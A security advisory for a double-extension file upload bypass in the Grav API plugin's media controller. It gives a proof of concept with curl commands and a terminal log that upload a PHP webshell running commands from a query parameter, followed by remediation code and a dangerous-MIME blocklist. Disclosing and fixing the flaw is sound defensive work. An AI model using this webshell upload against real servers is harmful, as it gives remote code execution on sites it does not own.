# GHSA-66V2-VXXF-XC3V: File Upload Extension Bypass in API Media Controller

- Database: GitHub
- Severity: CVSS 5.4 (Medium)
- Published: 2026-06-24
- Modified: 2026-07-10

## Tracked as

- [CVE-2026-61606](https://cve.now/CVE-2026-61606.md): CVE-2026-61606

## Affected versions

- getgrav/grav-plugin-api (Packagist): through 1.0.2

## Description

## Summary

The file upload validation in the API media controller (`HandlesMediaUploads::validateFileExtension()`) inspects only the **last** file extension via `pathinfo($filename, PATHINFO_EXTENSION)`. A user with `api.media.write` permission can upload a file named `shell.php.jpg` - the extension check sees `jpg` (allowed), while the web server may execute the file as PHP, yielding **remote code execution**.

---

## Details

**Vulnerable code** - `user/plugins/api/classes/Api/Controllers/HandlesMediaUploads.php:155-173`:

```php
protected function validateFileExtension(string $filename): void
{
    // PATHINFO_EXTENSION returns ONLY the last extension: "jpg" for "shell.php.jpg"
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    if ($extension === '') {
        throw new ValidationException('Uploaded file must have a file extension.');
    }

    $dangerousExtensions = $this->config->get('security.uploads_dangerous_extensions', []);
    $dangerousExtensions = array_map('strtolower', $dangerousExtensions);

    if (in_array($extension, $dangerousExtensions, true)) {
        throw new ValidationException(
            "File extension '.{$extension}' is not allowed for security reasons."
        );
    }
}
```

The dangerous extensions blocklist (`system/config/security.yaml:45-67`) includes `php`, `phtml`, `phar`, and other executable types, but **only the final extension** is checked against this list. The call chain flows through:

1. `MediaController::uploadSiteMedia()` → `POST /api/v1/media`
2. → `HandlesMediaUploads::processUploadedFile()` (line 95)
3. → `HandlesMediaUploads::validateFileExtension()` (line 155) ← **bypass here**
4. → `$file->moveTo($targetPath)` — file written to `user://media/`

The upload response even reports the true MIME type (`text/x-php`) but takes no action:

```json
{"data":[{"filename":"shell.php.jpg","url":"/user/media/shell.php.jpg","type":"text/x-php","size":22}]}
```

---

## Proof of Concept

### Step 1 - Obtain JWT token

```bash
curl -s http://TARGET/grav/api/v1/auth/token \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"USERNAME","password":"PASSWORD"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])"
```

### Step 2 - Upload PHP webshell disguised as JPEG

```bash
JWT="<token from step 1>"

# Create PHP payload
printf '<?php system($_GET["cmd"]); ?>' > /tmp/webshell.php

# Upload with double extension
curl -s http://TARGET/grav/api/v1/media \
  -X POST \
  -H "Authorization: Bearer $JWT" \
  -F "file=@/tmp/webshell.php;filename=webshell.php.jpg;type=image/jpeg"
```

Response confirms bypass - file accepted with MIME `text/x-php`:
```json
{
  "data": [{
    "filename": "webshell.php.jpg",
    "path": "",
    "url": "/user/media/webshell.php.jpg",
    "type": "text/x-php",
    "size": 32,
    "modified": "2026-06-22T13:14:11+00:00"
  }]
}
```

```bash
┌──(erickalex㉿erickalex)-[~/gravcms]
└─$ curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"erickalex","password":"Admin@123"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])"
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJncmF2LWFwaSIsInN1YiI6ImVyaWNrYWxleCIsImlhdCI6MTc4MjEzNTEwOSwiZXhwIjoxNzgyMTM4NzA5LCJ0eXBlIjoiYWNjZXNzIn0.tYjXB8gv2qKDaMu39LgsGdT23DtT6y2Q9iO-9AEA-EQ
                                                                                                                                                                                                                                      
┌──(erickalex㉿erickalex)-[~/gravcms]
└─$ export JWT="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJncmF2LWFwaSIsInN1YiI6ImVyaWNrYWxleCIsImlhdCI6MTc4MjEzNTEwOSwiZXhwIjoxNzgyMTM4NzA5LCJ0eXBlIjoiYWNjZXNzIn0.tYjXB8gv2qKDaMu39LgsGdT23DtT6y2Q9iO-9AEA-EQ"
                                                                                                                                                                                                                                      
┌──(erickalex㉿erickalex)-[~/gravcms]
└─$ printf '<?php system($_GET["cmd"]); ?>' > /tmp/webshell.php
curl -s http://127.0.0.1/grav/api/v1/media \
  -X POST \
  -H "Authorization: Bearer $JWT" \
  -F "file=@/tmp/webshell.php;filename=webshell.php.jpg;type=image/jpeg"
{"data":[{"filename":"webshell.php.jpg","path":"","url":"/user/media/webshell.php.jpg","type":"text/x-php","size":30,"modified":"2026-06-22T13:32:40+00:00"}]}                                                                                                                                                                                                                                      
┌──(erickalex㉿erickalex)-[~/Desktop/research/ai-agents/gravcms]
└─$ curl -s http://127.0.0.1/grav/user/media/webshell.php.jpg
<?php system($_GET["cmd"]); ?>
```
## Impact

An authenticated attacker with media upload permissions can achieve **remote code execution** on the web server. Even on configurations where PHP does not execute `.php.jpg`, the PHP source code is exposed (information disclosure), revealing application logic and hardcoded secrets.

---

## Remediation

Validate **every** extension component in the filename, not just the last:

```php
protected function validateFileExtension(string $filename): void
{
    $parts = explode('.', $filename);
    if (count($parts) < 2) {
        throw new ValidationException('Uploaded file must have a file extension.');
    }

    $dangerousExtensions = array_map('strtolower',
        $this->config->get('security.uploads_dangerous_extensions', []));

    // Check ALL extensions, not just PATHINFO_EXTENSION (the last one)
    foreach ($parts as $part) {
        if (in_array(strtolower($part), $dangerousExtensions, true)) {
            throw new ValidationException(
                "File extension '.{$part}' is not allowed for security reasons."
            );
        }
    }
}
```

Additionally, validate the **actual file content** against its claimed MIME type:

```php
$finfo = new \finfo(FILEINFO_MIME_TYPE);
$realMime = $finfo->file($file->getStream()->getMetadata('uri'));
$dangerousMimes = ['text/x-php', 'application/x-httpd-php', 'application/x-php'];
if (in_array($realMime, $dangerousMimes, true)) {
    throw new ValidationException('Executable file types are not allowed.');
}
```

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-66v2-vxxf-xc3v

Page: https://cve.now/GHSA-66V2-VXXF-XC3V

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
